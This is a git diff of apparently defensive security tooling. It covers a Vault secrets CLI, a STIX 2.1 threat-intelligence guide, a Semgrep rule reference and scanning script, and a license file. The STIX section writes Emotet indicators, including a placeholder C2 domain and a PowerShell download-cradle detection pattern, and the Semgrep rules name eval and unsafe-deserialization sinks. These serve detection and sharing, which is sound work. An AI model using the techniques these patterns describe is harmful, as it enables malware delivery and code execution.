argparse.ArgumentParser(description="HashiCorp Vault secrets management audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] HashiCorp Vault secrets management audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="HashiCorp Vault secrets management agent" + ) + sub = parser.add_subparsers(dest="command", help="Action to perform") + + p_write = sub.add_parser("write", help="Write a secret") + p_write.add_argument("--path", required=True, help="Secret path") + p_write.add_argument("--data", required=True, help='JSON data') + p_write.add_argument("--mount", default="secret", help="KV mount point") + + p_read = sub.add_parser("read", help="Read a secret") + p_read.add_argument("--path", required=True) + p_read.add_argument("--version", type=int, help="Specific version") + p_read.add_argument("--mount", default="secret") + + p_list = sub.add_parser("list", help="List secrets") + p_list.add_argument("--path", default="") + p_list.add_argument("--mount", default="secret") + + p_del = sub.add_parser("delete", help="Delete a secret") + p_del.add_argument("--path", required=True) + p_del.add_argument("--versions", type=int, nargs="+") + p_del.add_argument("--destroy", action="store_true") + p_del.add_argument("--mount", default="secret") + + p_meta = sub.add_parser("metadata", help="Read secret metadata") + p_meta.add_argument("--path", required=True) + p_meta.add_argument("--mount", default="secret") + + p_audit = sub.add_parser("audit", help="Audit all secrets") + p_audit.add_argument("--path", default="") + p_audit.add_argument("--mount", default="secret") + + parser.add_argument("--addr", help="Vault address (or VAULT_ADDR env)") + parser.add_argument("--token", help="Vault token (or VAULT_TOKEN env)") + parser.add_argument("--namespace", help="Vault namespace") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + client = get_vault_client(args.addr, args.token, args.namespace) + + if args.command == "write": + secret_data = json.loads(args.data) + result = write_secret(client, args.path, secret_data, args.mount) + elif args.command == "read": + result = read_secret(client, args.path, args.mount, + getattr(args, "version", None)) + elif args.command == "list": + result = list_secrets(client, args.path, args.mount) + elif args.command == "delete": + result = delete_secret(client, args.path, args.mount, + getattr(args, "versions", None), + getattr(args, "destroy", False)) + elif args.command == "metadata": + result = read_metadata(client, args.path, args.mount) + elif args.command == "audit": + result = audit_secrets(client, args.mount, args.path) else: + parser.print_help() + sys.exit(1) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "HashiCorp Vault", + "command": args.command, + "result": result, + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-secrets-scanning-in-ci-cd/SKILL.md b/skills/implementing-secrets-scanning-in-ci-cd/SKILL.md index 1ea9bb69..17ac6d5a 100644 --- a/skills/implementing-secrets-scanning-in-ci-cd/SKILL.md +++ b/skills/implementing-secrets-scanning-in-ci-cd/SKILL.md @@ -9,6 +9,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing Secrets Scanning in CI/CD + ## Overview This skill covers implementing automated secrets scanning in CI/CD pipelines using gitleaks and trufflehog. It enables security teams to detect API keys, tokens, passwords, and other credentials that have been accidentally committed to source code repositories, providing a CI gate that blocks deployments containing high-severity findings. diff --git a/skills/implementing-security-information-sharing-with-stix2/SKILL.md b/skills/implementing-security-information-sharing-with-stix2/SKILL.md index 37b53be4..6da93ce2 100644 --- a/skills/implementing-security-information-sharing-with-stix2/SKILL.md +++ b/skills/implementing-security-information-sharing-with-stix2/SKILL.md @@ -16,3 +16,378 @@ license: Apache-2.0 Build and share structured threat intelligence using STIX 2.1 objects with the stix2 Python library and TAXII 2.1 transport protocol. + +## When to Use + +- Building a threat intelligence platform that exchanges IOCs with partner organizations +- Automating ingestion and export of indicators from MISP, OpenCTI, or other TIP platforms +- Creating machine-readable intelligence reports for ISAC/ISAO sharing communities +- Publishing threat data to a TAXII 2.1 server for downstream consumption by SIEMs and SOARs +- Converting unstructured threat reports into standardized STIX 2.1 bundles +- Enriching detection rules with context by linking indicators to malware, campaigns, and threat actors + +**Do not use** for sharing simple IP blocklists or CSV-based IOC feeds that do not require relationship context; plain-text feeds with simpler formats like CSV or OpenIOC may be more efficient in those cases. + +## Prerequisites + +- Python 3.8+ with `stix2` library (`pip install stix2`) +- `taxii2-client` for consuming TAXII feeds (`pip install taxii2-client`) +- A TAXII 2.1 server endpoint for publishing (e.g., OpenTAXII, Medallion, or MISP TAXII service) +- Familiarity with STIX 2.1 SDO types: Indicator, Malware, Threat Actor, Campaign, Attack Pattern, Identity +- Familiarity with STIX 2.1 SRO types: Relationship, Sighting +- Optional: OpenCTI or MISP instance for end-to-end integration testing + +## Workflow + +### Step 1: Install Dependencies + +```bash +pip install stix2 taxii2-client requests +``` + +### Step 2: Create STIX 2.1 Domain Objects (SDOs) + +Create core intelligence objects that describe threats, actors, and campaigns: + +```python +from stix2 import ( + Indicator, Malware, ThreatActor, Campaign, + AttackPattern, Identity, Relationship, Bundle, + ExternalReference +) +from datetime import datetime + +# Create a producer identity +producer = Identity( + name="ACME Threat Intel Team", + identity_class="organization", + sectors=["technology"], + contact_information="threatintel@acme.example.com" +) + +# Create a malware object +emotet_malware = Malware( + name="Emotet", + description="Banking trojan turned modular botnet loader. " + "Distributed via malspam with macro-enabled Office documents.", + malware_types=["trojan", "bot"], + is_family=True, + created_by_ref=producer.id +) + +# Create an attack pattern referencing MITRE ATT&CK +spearphishing_pattern = AttackPattern( + name="Spearphishing Attachment", + description="Adversaries send spearphishing emails with a malicious attachment.", + external_references=[ + ExternalReference( + source_name="mitre-attack", + external_id="T1566.001", + url="https://attack.mitre.org/techniques/T1566/001/" + ) + ], + created_by_ref=producer.id +) + +# Create a threat actor +threat_actor = ThreatActor( + name="Mummy Spider", + description="Cybercriminal group operating the Emotet botnet infrastructure.", + threat_actor_types=["crime-syndicate"], + aliases=["TA542", "Gold Crestwood"], + primary_motivation="personal-gain", + created_by_ref=producer.id +) + +# Create a campaign +campaign = Campaign( + name="Emotet Q1 2026 Resurgence", + description="Renewed Emotet distribution campaign using thread-hijacked " + "reply-chain emails with OneNote lure attachments.", + first_seen="2026-01-15T00:00:00Z", + created_by_ref=producer.id +) + +print(f"Created malware SDO: {emotet_malware.id}") +print(f"Created threat actor SDO: {threat_actor.id}") +print(f"Created campaign SDO: {campaign.id}") +``` + +### Step 3: Create STIX Indicators with Patterns + +Define detection patterns using the STIX Patterning Language: + +```python +# File hash indicator +hash_indicator = Indicator( + name="Emotet dropper hash", + description="SHA-256 hash of Emotet first-stage dropper observed in Jan 2026 campaign.", + indicator_types=["malicious-activity"], + pattern_type="stix", + pattern="[file:hashes.'SHA-256' = 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2']", + valid_from="2026-01-15T00:00:00Z", + created_by_ref=producer.id +) + +# Network indicator for C2 domain +c2_indicator = Indicator( + name="Emotet C2 domain", + description="Command and control domain observed in Emotet tier-1 botnet infrastructure.", + indicator_types=["malicious-activity"], + pattern_type="stix", + pattern="[domain-name:value = 'malicious-c2.example.com']", + valid_from="2026-01-20T00:00:00Z", + created_by_ref=producer.id +) + +# Compound pattern: process spawning with suspicious command line +process_indicator = Indicator( + name="Emotet PowerShell download cradle", + description="PowerShell execution pattern used by Emotet to download next-stage payload.", + indicator_types=["malicious-activity"], + pattern_type="stix", + pattern=( + "[process:command_line MATCHES 'powershell.*-enc.*' " + "AND process:parent_ref.name = 'winword.exe']" + ), + valid_from="2026-01-15T00:00:00Z", + created_by_ref=producer.id +) + +# Email subject indicator +email_indicator = Indicator( + name="Emotet phishing subject line pattern", + description="Subject line pattern seen in thread-hijacked Emotet phishing emails.", + indicator_types=["malicious-activity"], + pattern_type="stix", + pattern="[email-message:subject MATCHES '^RE:.*Invoice.*[0-9]{6}']", + valid_from="2026-01-15T00:00:00Z", + created_by_ref=producer.id +) + +print(f"Created {4} indicator objects") +``` + +### Step 4: Build Relationships Between Objects + +Link SDOs together using Relationship objects to express how threats are connected: + +```python +# Malware uses attack pattern +rel_malware_attack = Relationship( + relationship_type="uses", + source_ref=emotet_malware.id, + target_ref=spearphishing_pattern.id, + description="Emotet is distributed via spearphishing attachments.", + created_by_ref=producer.id +) + +# Threat actor uses malware +rel_actor_malware = Relationship( + relationship_type="uses", + source_ref=threat_actor.id, + target_ref=emotet_malware.id, + description="Mummy Spider operates the Emotet malware infrastructure.", + created_by_ref=producer.id +) + +# Indicator indicates malware +rel_indicator_malware = Relationship( + relationship_type="indicates", + source_ref=hash_indicator.id, + target_ref=emotet_malware.id, + description="File hash indicator for Emotet dropper binary.", + created_by_ref=producer.id +) + +# Campaign uses malware +rel_campaign_malware = Relationship( + relationship_type="uses", + source_ref=campaign.id, + target_ref=emotet_malware.id, + created_by_ref=producer.id +) + +# Threat actor attributed to campaign +rel_actor_campaign = Relationship( + relationship_type="attributed-to", + source_ref=campaign.id, + target_ref=threat_actor.id, + created_by_ref=producer.id +) + +print(f"Created {5} relationship objects linking threat intelligence") +``` + +### Step 5: Assemble and Serialize a STIX Bundle + +Package all objects into a bundle for sharing: + +```python +import json + +bundle = Bundle( + objects=[ + producer, + emotet_malware, + spearphishing_pattern, + threat_actor, + campaign, + hash_indicator, + c2_indicator, + process_indicator, + email_indicator, + rel_malware_attack, + rel_actor_malware, + rel_indicator_malware, + rel_campaign_malware, + rel_actor_campaign, + ] +) + +# Serialize to JSON +bundle_json = bundle.serialize(pretty=True) + +# Write bundle to file for sharing +with open("emotet_campaign_bundle.json", "w") as f: + f.write(bundle_json) + +print(f"Bundle {bundle.id} contains {len(bundle.objects)} objects") +print(f"Written to emotet_campaign_bundle.json") + +# Validate the bundle by re-parsing +from stix2 import parse +parsed = parse(bundle_json, allow_custom=False) +print(f"Bundle validation passed: {len(parsed.objects)} objects parsed successfully") +``` + +### Step 6: Consume Intelligence from a TAXII 2.1 Server + +Retrieve published threat intelligence from a TAXII feed: + +```python +from taxii2client.v21 import Server, Collection, as_pages +import json + +# Connect to a TAXII 2.1 server +taxii_server = Server( + "https://taxii.example.com/taxii2/", + user="readonly", + password="readonly_password" +) + +# Discover API roots and collections +api_root = taxii_server.api_roots[0] +print(f"API Root: {api_root.title}") + +for collection in api_root.collections: + print(f" Collection: {collection.title} (ID: {collection.id})") + +# Fetch indicators from a specific collection +target_collection = Collection( + f"https://taxii.example.com/taxii2/collections/{api_root.collections[0].id}/", + user="readonly", + password="readonly_password" +) + +# Retrieve objects with filtering +response = target_collection.get_objects( + added_after="2026-01-01T00:00:00Z", + type=["indicator", "malware"] +) + +stix_data = json.loads(response.text) +print(f"Retrieved {len(stix_data.get('objects', []))} objects from TAXII server") + +# Process each retrieved object +for obj in stix_data.get("objects", []): + if obj["type"] == "indicator": + print(f" Indicator: {obj['name']} | Pattern: {obj['pattern'][:60]}...") + elif obj["type"] == "malware": + print(f" Malware: {obj['name']} | Family: {obj.get('is_family', False)}") +``` + +### Step 7: Publish Intelligence to a TAXII 2.1 Server + +Push your STIX bundle to a writable TAXII collection: + +```python +import requests +import json + +TAXII_URL = "https://taxii.example.com/taxii2/collections/COLLECTION_ID/objects/" +TAXII_USER = "publisher" +TAXII_PASS = "publisher_password" + +headers = { + "Content-Type": "application/taxii+json;version=2.1", + "Accept": "application/taxii+json;version=2.1" +} + +# Read the bundle we created earlier +with open("emotet_campaign_bundle.json", "r") as f: + bundle_data = f.read() + +response = requests.post( + TAXII_URL, + headers=headers, + auth=(TAXII_USER, TAXII_PASS), + data=bundle_data, + timeout=30 +) + +if response.status_code in (200, 201, 202): + status = response.json() + print(f"Published successfully. Status ID: {status.get('id')}") + print(f" Total count: {status.get('total_count')}") + print(f" Success count: {status.get('success_count')}") + print(f" Failure count: {status.get('failure_count')}") +else: + print(f"Publishing failed: {response.status_code} - {response.text}") +``` + +### Step 8: Validate and Lint STIX Objects + +Ensure objects comply with the STIX 2.1 specification: + +```python +from stix2 import parse, exceptions +import json + +def validate_stix_bundle(bundle_path): + """Validate all objects in a STIX bundle against the 2.1 spec.""" + with open(bundle_path, "r") as f: + raw = json.load(f) + + errors = [] + valid_count = 0 + + for obj in raw.get("objects", []): + try: + parsed = parse(json.dumps(obj), allow_custom=False) + valid_count += 1 + except (exceptions.InvalidValueError, exceptions.MissingPropertiesError) as e: + errors.append({ + "object_id": obj.get("id", "unknown"), + "object_type": obj.get("type", "unknown"), + "error": str(e) + }) + + print(f"Validation results: {valid_count} valid, {len(errors)} errors") + for err in errors: + print(f" ERROR in {err['object_type']} ({err['object_id']}): {err['error']}") + + return len(errors) == 0 + +validate_stix_bundle("emotet_campaign_bundle.json") +``` + +## Verification + +- Confirm all STIX objects serialize to valid JSON and include required properties (`type`, `id`, `created`, `modified`) +- Verify relationship `source_ref` and `target_ref` point to existing object IDs within the bundle +- Validate indicator patterns parse correctly using the STIX patterning grammar +- Test TAXII publishing returns a success status with `success_count` matching the number of objects sent +- Re-retrieve published objects from the TAXII server and confirm they round-trip without data loss +- Check that consuming systems (SIEM, SOAR, TIP) can ingest the bundle and create corresponding detection rules or enrichment data +- Run `stix2-validator` CLI tool against exported bundles: `stix2_validator emotet_campaign_bundle.json` diff --git a/skills/implementing-security-information-sharing-with-stix2/scripts/agent.py b/skills/implementing-security-information-sharing-with-stix2/scripts/agent.py index f77505fd..e443f8ca 100644 --- a/skills/implementing-security-information-sharing-with-stix2/scripts/agent.py +++ b/skills/implementing-security-information-sharing-with-stix2/scripts/agent.py @@ -9,18 +9,17 @@ import argparse import json import sys import datetime -import uuid try: import stix2 from stix2 import Indicator, Malware, Campaign, Relationship, Bundle - from stix2 import ThreatActor, Identity, Sighting, AttackPattern + from stix2 import Identity HAS_STIX2 = True except ImportError: HAS_STIX2 = False try: - from taxii2client.v21 import Collection, Server + from taxii2client.v21 import Collection HAS_TAXII = True except ImportError: HAS_TAXII = False diff --git a/skills/implementing-security-monitoring-with-datadog/LICENSE b/skills/implementing-security-monitoring-with-datadog/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-security-monitoring-with-datadog/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md b/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md index c56134f7..10cb2a6c 100644 --- a/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md +++ b/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md @@ -1,28 +1,196 @@ -# API Reference: Semgrep custom SAST rule audit +# API Reference: Semgrep Custom SAST Rules -## API Details -semgrep --config=auto --json --output=report.json, custom rules YAML, pattern-based +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute semgrep CLI scans | +| `json` | Parse semgrep JSON output | +| `yaml` | Read and write custom Semgrep rule files | +| `pathlib` | Handle source code and rule file paths | ## Installation + ```bash -pip install subprocess pathlib +# Python package +pip install semgrep + +# Homebrew (macOS) +brew install semgrep + +# Docker +docker pull semgrep/semgrep:latest ``` -## Libraries +## CLI Reference -| Library | Use | -|---------|-----| -| `subprocess` | subprocess client/SDK | -| `pathlib` | pathlib client/SDK | +### Core Commands -## Authentication +```bash +# Scan with auto-detected rules +semgrep scan --config auto --json --output results.json /path/to/code -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +# Scan with specific rulesets from Semgrep Registry +semgrep scan --config p/python --config p/owasp-top-ten /path/to/code + +# Scan with a custom rule file +semgrep scan --config my-rules.yaml /path/to/code + +# Scan with multiple configs +semgrep scan --config p/security-audit --config ./custom-rules/ /path/to/code +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--config`, `-c` | Rule source: registry key, YAML file, or directory | +| `--json` | Output results in JSON format | +| `--sarif` | Output in SARIF format (for CI/CD integration) | +| `--output`, `-o` | Write results to file | +| `--severity` | Filter by severity: `INFO`, `WARNING`, `ERROR` | +| `--include` | Only scan files matching glob pattern | +| `--exclude` | Skip files matching glob pattern | +| `--lang` | Restrict scan to specific language | +| `--max-target-bytes` | Skip files larger than N bytes | +| `--timeout` | Per-rule timeout in seconds (default: 5) | +| `--jobs`, `-j` | Number of parallel jobs | +| `--verbose`, `-v` | Show detailed scan progress | +| `--metrics off` | Disable anonymous metrics | + +## Custom Rule Syntax + +### Basic Pattern Rule +```yaml +rules: + - id: hardcoded-password + pattern: password = "..." + message: "Hardcoded password detected — use environment variables" + languages: [python] + severity: ERROR + metadata: + cwe: ["CWE-798: Use of Hard-coded Credentials"] + owasp: ["A07:2021 - Identification and Authentication Failures"] +``` + +### Pattern Operators +```yaml +rules: + - id: sql-injection-format-string + patterns: + - pattern: | + cursor.execute($QUERY % ...) + - pattern-not: | + cursor.execute("..." % ()) + message: "SQL injection via string formatting — use parameterized queries" + languages: [python] + severity: ERROR + + - id: unsafe-deserialization + pattern-either: + - pattern: pickle.loads(...) + - pattern: pickle.load(...) + - pattern: yaml.load(..., Loader=yaml.Loader) + - pattern: yaml.unsafe_load(...) + message: "Unsafe deserialization — may allow remote code execution" + languages: [python] + severity: ERROR + + - id: missing-timeout-requests + patterns: + - pattern: requests.$METHOD(...) + - pattern-not: requests.$METHOD(..., timeout=..., ...) + message: "HTTP request without timeout — may hang indefinitely" + languages: [python] + severity: WARNING +``` + +### Metavariable Patterns +```yaml +rules: + - id: eval-user-input + patterns: + - pattern: | + $INPUT = request.$METHOD(...) + ... + eval($INPUT) + message: "User input passed to eval() — command injection risk" + languages: [python] + severity: ERROR +``` + +## Python Integration + +```python +import subprocess +import json + +def run_semgrep(target_path, config="auto", severity=None): + cmd = [ + "semgrep", "scan", + "--config", config, + "--json", + "--metrics", "off", + str(target_path), + ] + if severity: + cmd.extend(["--severity", severity]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + output = json.loads(result.stdout) + return output.get("results", []) + +def summarize_findings(results): + by_severity = {"ERROR": [], "WARNING": [], "INFO": []} + for r in results: + sev = r.get("extra", {}).get("severity", "INFO") + by_severity[sev].append({ + "rule": r["check_id"], + "file": r["path"], + "line": r["start"]["line"], + "message": r["extra"]["message"], + }) + return by_severity +``` + +## Semgrep Registry Rule Packs + +| Pack | Description | +|------|-------------| +| `p/python` | Python-specific security and correctness rules | +| `p/javascript` | JavaScript/TypeScript rules | +| `p/owasp-top-ten` | OWASP Top 10 vulnerability patterns | +| `p/security-audit` | Broad security audit rules across languages | +| `p/secrets` | Secret and credential detection | +| `p/ci` | Rules optimized for CI/CD pipelines | +| `p/docker` | Dockerfile security best practices | +| `p/terraform` | Terraform IaC security rules | ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "results": [ + { + "check_id": "python.lang.security.audit.eval-detected", + "path": "app/views.py", + "start": {"line": 42, "col": 5}, + "end": {"line": 42, "col": 28}, + "extra": { + "message": "Detected eval() usage — avoid with untrusted input", + "severity": "ERROR", + "metadata": { + "cwe": ["CWE-95"], + "owasp": ["A03:2021 - Injection"] + } + } + } + ], + "errors": [], + "stats": { + "findings": 3, + "errors": 0, + "total_time": 2.45 + } +} ``` diff --git a/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py b/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py index 780cae11..3dfc1209 100644 --- a/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py +++ b/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py @@ -1,61 +1,218 @@ #!/usr/bin/env python3 -"""Semgrep custom SAST rule audit.""" -import argparse, json, sys +"""Semgrep SAST scanning agent. + +Wraps the Semgrep CLI to perform static application security testing +using built-in rulesets and custom rules. Parses JSON output to produce +structured vulnerability findings with severity, CWE, and OWASP mappings. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def check_compliance(target, token): +def find_semgrep_binary(): + """Locate the semgrep binary on the system.""" + custom_path = os.environ.get("SEMGREP_PATH") + if custom_path and os.path.isfile(custom_path): + return custom_path + for name in ["semgrep", "semgrep.exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name) + if os.path.isfile(full_path): + return full_path + print("[!] semgrep not found. Install: pip install semgrep", file=sys.stderr) + sys.exit(1) + + +def run_scan(semgrep_bin, target, configs=None, severity=None, + exclude=None, include=None, max_target_bytes=None, + timeout_per_rule=None, verbose=False): + """Run semgrep scan and return JSON results.""" + cmd = [semgrep_bin, "scan", "--json"] + + if configs: + for cfg in configs: + cmd.extend(["--config", cfg]) + else: + cmd.extend(["--config", "auto"]) + + if severity: + cmd.extend(["--severity", severity]) + if exclude: + for pattern in exclude: + cmd.extend(["--exclude", pattern]) + if include: + for pattern in include: + cmd.extend(["--include", pattern]) + if max_target_bytes: + cmd.extend(["--max-target-bytes", str(max_target_bytes)]) + if timeout_per_rule: + cmd.extend(["--timeout", str(timeout_per_rule)]) + if verbose: + cmd.append("--verbose") + + cmd.append(target) + + print(f"[*] Running: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=900, + ) + return result.stdout, result.stderr, result.returncode + + +def parse_findings(raw_json): + """Parse semgrep JSON output into structured findings.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} + if not raw_json: + return findings, {} try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + data = json.loads(raw_json) + except json.JSONDecodeError: + return findings, {} + + errors = data.get("errors", []) + for result in data.get("results", []): + metadata = result.get("extra", {}).get("metadata", {}) + finding = { + "rule_id": result.get("check_id", "unknown"), + "message": result.get("extra", {}).get("message", ""), + "severity": result.get("extra", {}).get("severity", "WARNING"), + "path": result.get("path", ""), + "start_line": result.get("start", {}).get("line", 0), + "end_line": result.get("end", {}).get("line", 0), + "matched_code": result.get("extra", 